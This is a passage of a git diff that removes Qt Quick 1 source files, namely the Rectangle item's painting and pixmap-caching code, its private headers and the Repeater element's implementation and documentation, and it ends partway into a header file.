- -void QDeclarative1Rectangle::setGradient(QDeclarative1Gradient *gradient) -{ - Q_D(QDeclarative1Rectangle); - if (d->gradient == gradient) - return; - static int updatedSignalIdx = -1; - if (updatedSignalIdx < 0) - updatedSignalIdx = QDeclarative1Gradient::staticMetaObject.indexOfSignal("updated()"); - if (d->doUpdateSlotIdx < 0) - d->doUpdateSlotIdx = QDeclarative1Rectangle::staticMetaObject.indexOfSlot("doUpdate()"); - if (d->gradient) - QMetaObject::disconnect(d->gradient, updatedSignalIdx, this, d->doUpdateSlotIdx); - d->gradient = gradient; - if (d->gradient) - QMetaObject::connect(d->gradient, updatedSignalIdx, this, d->doUpdateSlotIdx); - update(); -} - - -/*! - \qmlproperty real QtQuick1::Rectangle::radius - This property holds the corner radius used to draw a rounded rectangle. - - If radius is non-zero, the rectangle will be painted as a rounded rectangle, otherwise it will be - painted as a normal rectangle. The same radius is used by all 4 corners; there is currently - no way to specify different radii for different corners. -*/ -qreal QDeclarative1Rectangle::radius() const -{ - Q_D(const QDeclarative1Rectangle); - return d->radius; -} - -void QDeclarative1Rectangle::setRadius(qreal radius) -{ - Q_D(QDeclarative1Rectangle); - if (d->radius == radius) - return; - - d->radius = radius; - d->rectImage = QPixmap(); - update(); - emit radiusChanged(); -} - -/*! - \qmlproperty color QtQuick1::Rectangle::color - This property holds the color used to fill the rectangle. - - The default color is white. - - \div {class="float-right"} - \inlineimage rect-color.png - \enddiv - - The following example shows rectangles with colors specified - using hexadecimal and named color notation: - - \snippet doc/src/snippets/qtquick1/rectangle/rectangle-colors.qml rectangles - - \clearfloat - If both a gradient and a color are specified, the gradient will be used. - - \sa gradient -*/ -QColor QDeclarative1Rectangle::color() const -{ - Q_D(const QDeclarative1Rectangle); - return d->color; -} - -void QDeclarative1Rectangle::setColor(const QColor &c) -{ - Q_D(QDeclarative1Rectangle); - if (d->color == c) - return; - - d->color = c; - d->rectImage = QPixmap(); - update(); - emit colorChanged(); -} - -void QDeclarative1Rectangle::generateRoundedRect() -{ - Q_D(QDeclarative1Rectangle); - if (d->rectImage.isNull()) { - const int pw = d->pen && d->pen->isValid() ? d->pen->width() : 0; - const int radius = qCeil(d->radius); //ensure odd numbered width/height so we get 1-pixel center - - QString key = QLatin1String("q_") % QString::number(pw) % d->color.name() % QString::number(d->color.alpha(), 16) % QLatin1Char('_') % QString::number(radius); - if (d->pen && d->pen->isValid()) - key += d->pen->color().name() % QString::number(d->pen->color().alpha(), 16); - - if (!QPixmapCache::find(key, &d->rectImage)) { - d->rectImage = QPixmap(radius*2 + 3 + pw*2, radius*2 + 3 + pw*2); - d->rectImage.fill(Qt::transparent); - QPainter p(&(d->rectImage)); - p.setRenderHint(QPainter::Antialiasing); - if (d->pen && d->pen->isValid()) { - QPen pn(QColor(d->pen->color()), d->pen->width()); - p.setPen(pn); - } else { - p.setPen(Qt::NoPen); - } - p.setBrush(d->color); - if (pw%2) - p.drawRoundedRect(QRectF(qreal(pw)/2+1, qreal(pw)/2+1, d->rectImage.width()-(pw+1), d->rectImage.height()-(pw+1)), d->radius, d->radius); - else - p.drawRoundedRect(QRectF(qreal(pw)/2, qreal(pw)/2, d->rectImage.width()-pw, d->rectImage.height()-pw), d->radius, d->radius); - - // end painting before inserting pixmap - // to pixmap cache to avoid a deep copy - p.end(); - QPixmapCache::insert(key, d->rectImage); - } - } -} - -void QDeclarative1Rectangle::generateBorderedRect() -{ - Q_D(QDeclarative1Rectangle); - if (d->rectImage.isNull()) { - const int pw = d->pen && d->pen->isValid() ? d->pen->width() : 0; - - QString key = QLatin1String("q_") % QString::number(pw) % d->color.name() % QString::number(d->color.alpha(), 16); - if (d->pen && d->pen->isValid()) - key += d->pen->color().name() % QString::number(d->pen->color().alpha(), 16); - - if (!QPixmapCache::find(key, &d->rectImage)) { - // Adding 5 here makes qDrawBorderPixmap() paint correctly with smooth: true - // See QTBUG-7999 and QTBUG-10765 for more details. - d->rectImage = QPixmap(pw*2 + 5, pw*2 + 5); - d->rectImage.fill(Qt::transparent); - QPainter p(&(d->rectImage)); - p.setRenderHint(QPainter::Antialiasing); - if (d->pen && d->pen->isValid()) { - QPen pn(QColor(d->pen->color()), d->pen->width()); - pn.setJoinStyle(Qt::MiterJoin); - p.setPen(pn); - } else { - p.setPen(Qt::NoPen); - } - p.setBrush(d->color); - if (pw%2) - p.drawRect(QRectF(qreal(pw)/2+1, qreal(pw)/2+1, d->rectImage.width()-(pw+1), d->rectImage.height()-(pw+1))); - else - p.drawRect(QRectF(qreal(pw)/2, qreal(pw)/2, d->rectImage.width()-pw, d->rectImage.height()-pw)); - - // end painting before inserting pixmap - // to pixmap cache to avoid a deep copy - p.end(); - QPixmapCache::insert(key, d->rectImage); - } - } -} - -void QDeclarative1Rectangle::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *) -{ - Q_D(QDeclarative1Rectangle); - if (width() <= 0 || height() <= 0) - return; - if (d->radius > 0 || (d->pen && d->pen->isValid()) - || (d->gradient && d->gradient->gradient()) ) { - drawRect(*p); - } - else { - bool oldAA = p->testRenderHint(QPainter::Antialiasing); - if (d->smooth) - p->setRenderHints(QPainter::Antialiasing, true); - p->fillRect(QRectF(0, 0, width(), height()), d->color); - if (d->smooth) - p->setRenderHint(QPainter::Antialiasing, oldAA); - } -} - -void QDeclarative1Rectangle::drawRect(QPainter &p) -{ - Q_D(QDeclarative1Rectangle); - if ((d->gradient && d->gradient->gradient()) - || d->radius > width()/2 || d->radius > height()/2 - || width() < 3 || height() < 3) { - // XXX This path is still slower than the image path - // Image path won't work for gradients or invalid radius though - bool oldAA = p.testRenderHint(QPainter::Antialiasing); - if (d->smooth) - p.setRenderHint(QPainter::Antialiasing); - if (d->pen && d->pen->isValid()) { - QPen pn(QColor(d->pen->color()), d->pen->width()); - pn.setJoinStyle(Qt::MiterJoin); - p.setPen(pn); - } else { - p.setPen(Qt::NoPen); - } - if (d->gradient && d->gradient->gradient()) - p.setBrush(*d->gradient->gradient()); - else - p.setBrush(d->color); - const int pw = d->pen && d->pen->isValid() ? d->pen->width() : 0; - QRectF rect; - if (pw%2) - rect = QRectF(0.5, 0.5, width()-1, height()-1); - else - rect = QRectF(0, 0, width(), height()); - qreal radius = d->radius; - if (radius > width()/2 || radius > height()/2) - radius = qMin(width()/2, height()/2); - if (radius > 0.) - p.drawRoundedRect(rect, radius, radius); - else - p.drawRect(rect); - if (d->smooth) - p.setRenderHint(QPainter::Antialiasing, oldAA); - } else { - bool oldAA = p.testRenderHint(QPainter::Antialiasing); - bool oldSmooth = p.testRenderHint(QPainter::SmoothPixmapTransform); - if (d->smooth) - p.setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth); - - const int pw = d->pen && d->pen->isValid() ? (d->pen->width()+1)/2*2 : 0; - - if (d->radius > 0) - generateRoundedRect(); - else - generateBorderedRect(); - - int xOffset = (d->rectImage.width()-1)/2; - int yOffset = (d->rectImage.height()-1)/2; - Q_ASSERT(d->rectImage.width() == 2*xOffset + 1); - Q_ASSERT(d->rectImage.height() == 2*yOffset + 1); - - // check whether we've eliminated the center completely - if (2*xOffset > width()+pw) - xOffset = (width()+pw)/2; - if (2*yOffset > height()+pw) - yOffset = (height()+pw)/2; - - QMargins margins(xOffset, yOffset, xOffset, yOffset); - QTileRules rules(Qt::StretchTile, Qt::StretchTile); - //NOTE: even though our item may have qreal-based width and height, qDrawBorderPixmap only supports QRects - qDrawBorderPixmap(&p, QRect(-pw/2, -pw/2, width()+pw, height()+pw), margins, d->rectImage, d->rectImage.rect(), margins, rules); - - if (d->smooth) { - p.setRenderHint(QPainter::Antialiasing, oldAA); - p.setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth); - } - } -} - -/*! - \qmlproperty bool QtQuick1::Rectangle::smooth - - Set this property if you want the item to be smoothly scaled or - transformed. Smooth filtering gives better visual quality, but is slower. If - the item is displayed at its natural size, this property has no visual or - performance effect. - - \note Generally scaling artifacts are only visible if the item is stationary on - the screen. A common pattern when animating an item is to disable smooth - filtering at the beginning of the animation and reenable it at the conclusion. - - \image rect-smooth.png - On this image, smooth is turned off on the top half and on on the bottom half. -*/ - -QRectF QDeclarative1Rectangle::boundingRect() const -{ - Q_D(const QDeclarative1Rectangle); - return QRectF(-d->paintmargin, -d->paintmargin, d->width()+d->paintmargin*2, d->height()+d->paintmargin*2); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativerectangle_p.h b/src/qtquick1/graphicsitems/qdeclarativerectangle_p.h deleted file mode 100644 index 00e8a06664..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativerectangle_p.h +++ /dev/null @@ -1,187 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVERECT_H -#define QDECLARATIVERECT_H - -#include "qdeclarativeitem.h" - -#include - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class Q_QTQUICK1_EXPORT QDeclarative1Pen : public QObject -{ - Q_OBJECT - - Q_PROPERTY(int width READ width WRITE setWidth NOTIFY penChanged) - Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY penChanged) -public: - QDeclarative1Pen(QObject *parent=0) - : QObject(parent), _width(1), _color("#000000"), _valid(false) - {} - - int width() const { return _width; } - void setWidth(int w); - - QColor color() const { return _color; } - void setColor(const QColor &c); - - bool isValid() { return _valid; } - -Q_SIGNALS: - void penChanged(); - -private: - int _width; - QColor _color; - bool _valid; -}; - -class Q_AUTOTEST_EXPORT QDeclarative1GradientStop : public QObject -{ - Q_OBJECT - - Q_PROPERTY(qreal position READ position WRITE setPosition) - Q_PROPERTY(QColor color READ color WRITE setColor) - -public: - QDeclarative1GradientStop(QObject *parent=0) : QObject(parent) {} - - qreal position() const { return m_position; } - void setPosition(qreal position) { m_position = position; updateGradient(); } - - QColor color() const { return m_color; } - void setColor(const QColor &color) { m_color = color; updateGradient(); } - -private: - void updateGradient(); - -private: - qreal m_position; - QColor m_color; -}; - -class Q_AUTOTEST_EXPORT QDeclarative1Gradient : public QObject -{ - Q_OBJECT - - Q_PROPERTY(QDeclarativeListProperty stops READ stops) - Q_CLASSINFO("DefaultProperty", "stops") - -public: - QDeclarative1Gradient(QObject *parent=0) : QObject(parent), m_gradient(0) {} - ~QDeclarative1Gradient() { delete m_gradient; } - - QDeclarativeListProperty stops() { return QDeclarativeListProperty(this, m_stops); } - - const QGradient *gradient() const; - -Q_SIGNALS: - void updated(); - -private: - void doUpdate(); - -private: - QList m_stops; - mutable QGradient *m_gradient; - friend class QDeclarative1GradientStop; -}; - -class QDeclarative1RectanglePrivate; -class Q_QTQUICK1_EXPORT QDeclarative1Rectangle : public QDeclarativeItem -{ - Q_OBJECT - - Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged) - Q_PROPERTY(QDeclarative1Gradient *gradient READ gradient WRITE setGradient) - Q_PROPERTY(QDeclarative1Pen * border READ border CONSTANT) - Q_PROPERTY(qreal radius READ radius WRITE setRadius NOTIFY radiusChanged) -public: - QDeclarative1Rectangle(QDeclarativeItem *parent=0); - - QColor color() const; - void setColor(const QColor &); - - QDeclarative1Pen *border(); - - QDeclarative1Gradient *gradient() const; - void setGradient(QDeclarative1Gradient *gradient); - - qreal radius() const; - void setRadius(qreal radius); - - QRectF boundingRect() const; - - void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *); - -Q_SIGNALS: - void colorChanged(); - void radiusChanged(); - -private Q_SLOTS: - void doUpdate(); - -private: - void generateRoundedRect(); - void generateBorderedRect(); - void drawRect(QPainter &painter); - -private: - Q_DISABLE_COPY(QDeclarative1Rectangle) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1Rectangle) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Pen) -QML_DECLARE_TYPE(QDeclarative1GradientStop) -QML_DECLARE_TYPE(QDeclarative1Gradient) -QML_DECLARE_TYPE(QDeclarative1Rectangle) - -QT_END_HEADER - -#endif // QDECLARATIVERECT_H diff --git a/src/qtquick1/graphicsitems/qdeclarativerectangle_p_p.h b/src/qtquick1/graphicsitems/qdeclarativerectangle_p_p.h deleted file mode 100644 index 536d0336e4..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativerectangle_p_p.h +++ /dev/null @@ -1,112 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVERECT_P_H -#define QDECLARATIVERECT_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativeitem_p.h" - -QT_BEGIN_NAMESPACE - -class QDeclarative1Gradient; -class QDeclarative1Rectangle; -class QDeclarative1RectanglePrivate : public QDeclarativeItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1Rectangle) - -public: - QDeclarative1RectanglePrivate() : - color(Qt::white), gradient(0), pen(0), radius(0), paintmargin(0) - { - QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents; - } - - ~QDeclarative1RectanglePrivate() - { - delete pen; - } - - QColor color; - QDeclarative1Gradient *gradient; - QDeclarative1Pen *pen; - qreal radius; - qreal paintmargin; - QPixmap rectImage; - static int doUpdateSlotIdx; - - QDeclarative1Pen *getPen() { - if (!pen) { - Q_Q(QDeclarative1Rectangle); - pen = new QDeclarative1Pen; - static int penChangedSignalIdx = -1; - if (penChangedSignalIdx < 0) - penChangedSignalIdx = QDeclarative1Pen::staticMetaObject.indexOfSignal("penChanged()"); - if (doUpdateSlotIdx < 0) - doUpdateSlotIdx = QDeclarative1Rectangle::staticMetaObject.indexOfSlot("doUpdate()"); - QMetaObject::connect(pen, penChangedSignalIdx, q, doUpdateSlotIdx); - } - return pen; - } - - void setPaintMargin(qreal margin) - { - Q_Q(QDeclarative1Rectangle); - if (margin == paintmargin) - return; - q->prepareGeometryChange(); - paintmargin = margin; - } -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVERECT_P_H diff --git a/src/qtquick1/graphicsitems/qdeclarativerepeater.cpp b/src/qtquick1/graphicsitems/qdeclarativerepeater.cpp deleted file mode 100644 index 7e92d579e9..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativerepeater.cpp +++ /dev/null @@ -1,450 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativerepeater_p.h" -#include "QtQuick1/private/qdeclarativerepeater_p_p.h" - -#include "QtQuick1/private/qdeclarativevisualitemmodel_p.h" -#include -#include - -QT_BEGIN_NAMESPACE - - -QDeclarative1RepeaterPrivate::QDeclarative1RepeaterPrivate() -: model(0), ownModel(false) -{ -} - -QDeclarative1RepeaterPrivate::~QDeclarative1RepeaterPrivate() -{ - if (ownModel) - delete model; -} - -/*! - \qmlclass Repeater QDeclarative1Repeater - \inqmlmodule QtQuick 1 - \ingroup qml-utility-elements - \since QtQuick 1.0 - \inherits Item - - \brief The Repeater element allows you to repeat an Item-based component using a model. - - The Repeater element is used to create a large number of - similar items. Like other view elements, a Repeater has a \l model and a \l delegate: - for each entry in the model, the delegate is instantiated - in a context seeded with data from the model. A Repeater item is usually - enclosed in a positioner element such as \l Row or \l Column to visually - position the multiple delegate items created by the Repeater. - - The following Repeater creates three instances of a \l Rectangle item within - a \l Row: - - \snippet doc/src/snippets/qtquick1/repeaters/repeater.qml import - \codeline - \snippet doc/src/snippets/qtquick1/repeaters/repeater.qml simple - - \image repeater-simple.png - - A Repeater's \l model can be any of the supported \l {qmlmodels}{data models}. - Additionally, like delegates for other views, a Repeater delegate can access - its index within the repeater, as well as the model data relevant to the - delegate. See the \l delegate property documentation for details. - - Items instantiated by the Repeater are inserted, in order, as - children of the Repeater's parent. The insertion starts immediately after - the repeater's position in its parent stacking list. This allows - a Repeater to be used inside a layout. For example, the following Repeater's - items are stacked between a red rectangle and a blue rectangle: - - \snippet doc/src/snippets/qtquick1/repeaters/repeater.qml layout - - \image repeater.png - - - \note A Repeater item owns all items it instantiates. Removing or dynamically destroying - an item created by a Repeater results in unpredictable behavior. - - - \section2 Considerations when using Repeater - - The Repeater element creates all of its delegate items when the repeater is first - created. This can be inefficient if there are a large number of delegate items and - not all of the items are required to be visible at the same time. If this is the case, - consider using other view elements like ListView (which only creates delegate items - when they are scrolled into view) or use the \l {Dynamic Object Creation} methods to - create items as they are required. - - Also, note that Repeater is \l {Item}-based, and can only repeat \l {Item}-derived objects. - For example, it cannot be used to repeat QtObjects: - \badcode - Item { - //XXX does not work! Can't repeat QtObject as it doesn't derive from Item. - Repeater { - model: 10 - QtObject {} - } - } - \endcode - */ - -/*! - \qmlsignal QtQuick1::Repeater::onItemAdded(int index, Item item) - \since Quick 1.1 - - This handler is called when an item is added to the repeater. The \a index - parameter holds the index at which the item has been inserted within the - repeater, and the \a item parameter holds the \l Item that has been added. -*/ - -/*! - \qmlsignal QtQuick1::Repeater::onItemRemoved(int index, Item item) - \since Quick 1.1 - - This handler is called when an item is removed from the repeater. The \a index - parameter holds the index at which the item was removed from the repeater, - and the \a item parameter holds the \l Item that was removed. - - Do not keep a reference to \a item if it was created by this repeater, as - in these cases it will be deleted shortly after the handler is called. -*/ - -QDeclarative1Repeater::QDeclarative1Repeater(QDeclarativeItem *parent) - : QDeclarativeItem(*(new QDeclarative1RepeaterPrivate), parent) -{ -} - -QDeclarative1Repeater::~QDeclarative1Repeater() -{ -} - -/*! - \qmlproperty any QtQuick1::Repeater::model - - The model providing data for the repeater. - - This property can be set to any of the supported \l {qmlmodels}{data models}: - - \list - \o A number that indicates the number of delegates to be created by the repeater - \o A model (e.g. a ListModel item, or a QAbstractItemModel subclass) - \o A string list - \o An object list - \endlist - - The type of model affects the properties that are exposed to the \l delegate. - - \sa {qmlmodels}{Data Models} -*/ -QVariant QDeclarative1Repeater::model() const -{ - Q_D(const QDeclarative1Repeater); - return d->dataSource; -} - -void QDeclarative1Repeater::setModel(const QVariant &model) -{ - Q_D(QDeclarative1Repeater); - if (d->dataSource == model) - return; - - clear(); - if (d->model) { - disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); - disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); - disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); - disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); - /* - disconnect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); - disconnect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*))); - */ - } - d->dataSource = model; - QObject *object = qvariant_cast(model); - QDeclarative1VisualModel *vim = 0; - if (object && (vim = qobject_cast(object))) { - if (d->ownModel) { - delete d->model; - d->ownModel = false; - } - d->model = vim; - } else { - if (!d->ownModel) { - d->model = new QDeclarative1VisualDataModel(qmlContext(this), this); - d->ownModel = true; - } - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) - dataModel->setModel(model); - } - if (d->model) { - connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); - connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); - connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); - connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); - /* - connect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); - connect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*))); - */ - regenerate(); - } - emit modelChanged(); - emit countChanged(); -} - -/*! - \qmlproperty Component QtQuick1::Repeater::delegate - \default - - The delegate provides a template defining each item instantiated by the repeater. - - Delegates are exposed to a read-only \c index property that indicates the index - of the delegate within the repeater. For example, the following \l Text delegate - displays the index of each repeated item: - - \table - \row - \o \snippet doc/src/snippets/qtquick1/repeaters/repeater.qml index - \o \image repeater-index.png - \endtable - - If the \l model is a \l{QStringList-based model}{string list} or - \l{QObjectList-based model}{object list}, the delegate is also exposed to - a read-only \c modelData property that holds the string or object data. For - example: - - \table - \row - \o \snippet doc/src/snippets/qtquick1/repeaters/repeater.qml modeldata - \o \image repeater-modeldata.png - \endtable - - If the \l model is a model object (such as a \l ListModel) the delegate - can access all model roles as named properties, in the same way that delegates - do for view classes like ListView. - - \sa {QML Data Models} - */ -QDeclarativeComponent *QDeclarative1Repeater::delegate() const -{ - Q_D(const QDeclarative1Repeater); - if (d->model) { - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) - return dataModel->delegate(); - } - - return 0; -} - -void QDeclarative1Repeater::setDelegate(QDeclarativeComponent *delegate) -{ - Q_D(QDeclarative1Repeater); - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) - if (delegate == dataModel->delegate()) - return; - - if (!d->ownModel) { - d->model = new QDeclarative1VisualDataModel(qmlContext(this)); - d->ownModel = true; - } - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) { - dataModel->setDelegate(delegate); - regenerate(); - emit delegateChanged(); - } -} - -/*! - \qmlproperty int QtQuick1::Repeater::count - - This property holds the number of items in the repeater. -*/ -int QDeclarative1Repeater::count() const -{ - Q_D(const QDeclarative1Repeater); - if (d->model) - return d->model->count(); - return 0; -} - -/*! - \qmlmethod Item QtQuick1::Repeater::itemAt(index) - \since Quick 1.1 - - Returns the \l Item that has been created at the given \a index, or \c null - if no item exists at \a index. -*/ -QDeclarativeItem *QDeclarative1Repeater::itemAt(int index) const -{ - Q_D(const QDeclarative1Repeater); - if (index >= 0 && index < d->deletables.count()) - return d->deletables[index]; - return 0; - -} - -void QDeclarative1Repeater::componentComplete() -{ - QDeclarativeItem::componentComplete(); - regenerate(); -} - -QVariant QDeclarative1Repeater::itemChange(GraphicsItemChange change, - const QVariant &value) -{ - QVariant rv = QDeclarativeItem::itemChange(change, value); - if (change == ItemParentHasChanged) { - regenerate(); - } - - return rv; -} - -void QDeclarative1Repeater::clear() -{ - Q_D(QDeclarative1Repeater); - bool complete = isComponentComplete(); - - if (d->model) { - while (d->deletables.count() > 0) { - QDeclarativeItem *item = d->deletables.takeLast(); - if (complete) - emit itemRemoved(d->deletables.count()-1, item); - d->model->release(item); - } - } - d->deletables.clear(); -} - -void QDeclarative1Repeater::regenerate() -{ - Q_D(QDeclarative1Repeater); - if (!isComponentComplete()) - return; - - clear(); - - if (!d->model || !d->model->count() || !d->model->isValid() || !parentItem() || !isComponentComplete()) - return; - - for (int ii = 0; ii < count(); ++ii) { - QDeclarativeItem *item = d->model->item(ii); - if (item) { - QDeclarative_setParent_noEvent(item, parentItem()); - item->setParentItem(parentItem()); - item->stackBefore(this); - d->deletables << item; - emit itemAdded(ii, item); - } - } -} - -void QDeclarative1Repeater::itemsInserted(int index, int count) -{ - Q_D(QDeclarative1Repeater); - if (!isComponentComplete()) - return; - for (int i = 0; i < count; ++i) { - int modelIndex = index + i; - QDeclarativeItem *item = d->model->item(modelIndex); - if (item) { - QDeclarative_setParent_noEvent(item, parentItem()); - item->setParentItem(parentItem()); - if (modelIndex < d->deletables.count()) - item->stackBefore(d->deletables.at(modelIndex)); - else - item->stackBefore(this); - d->deletables.insert(modelIndex, item); - emit itemAdded(modelIndex, item); - } - } - emit countChanged(); -} - -void QDeclarative1Repeater::itemsRemoved(int index, int count) -{ - Q_D(QDeclarative1Repeater); - if (!isComponentComplete() || count <= 0) - return; - while (count--) { - QDeclarativeItem *item = d->deletables.takeAt(index); - emit itemRemoved(index, item); - if (item) - d->model->release(item); - else - break; - } - emit countChanged(); -} - -void QDeclarative1Repeater::itemsMoved(int from, int to, int count) -{ - Q_D(QDeclarative1Repeater); - if (!isComponentComplete() || count <= 0) - return; - if (from + count > d->deletables.count()) { - regenerate(); - return; - } - QList removed; - int removedCount = count; - while (removedCount--) - removed << d->deletables.takeAt(from); - for (int i = 0; i < count; ++i) - d->deletables.insert(to + i, removed.at(i)); - d->deletables.last()->stackBefore(this); - for (int i = d->model->count()-1; i > 0; --i) { - QDeclarativeItem *item = d->deletables.at(i-1); - item->stackBefore(d->deletables.at(i)); - } -} - -void QDeclarative1Repeater::modelReset() -{ - if (!isComponentComplete()) - return; - regenerate(); - emit countChanged(); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativerepeater_p.h b/src/qtquick1/graphicsitems/qdeclarativerepeater_p.h deleted file mode 100644 index 110c64d9d6..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativerepeater_p.h +++ /dev/null @@ -1,109 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEREPEATER_H -#define QDECLARATIVEREPEATER_H - -#include "qdeclarativeitem.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1RepeaterPrivate; 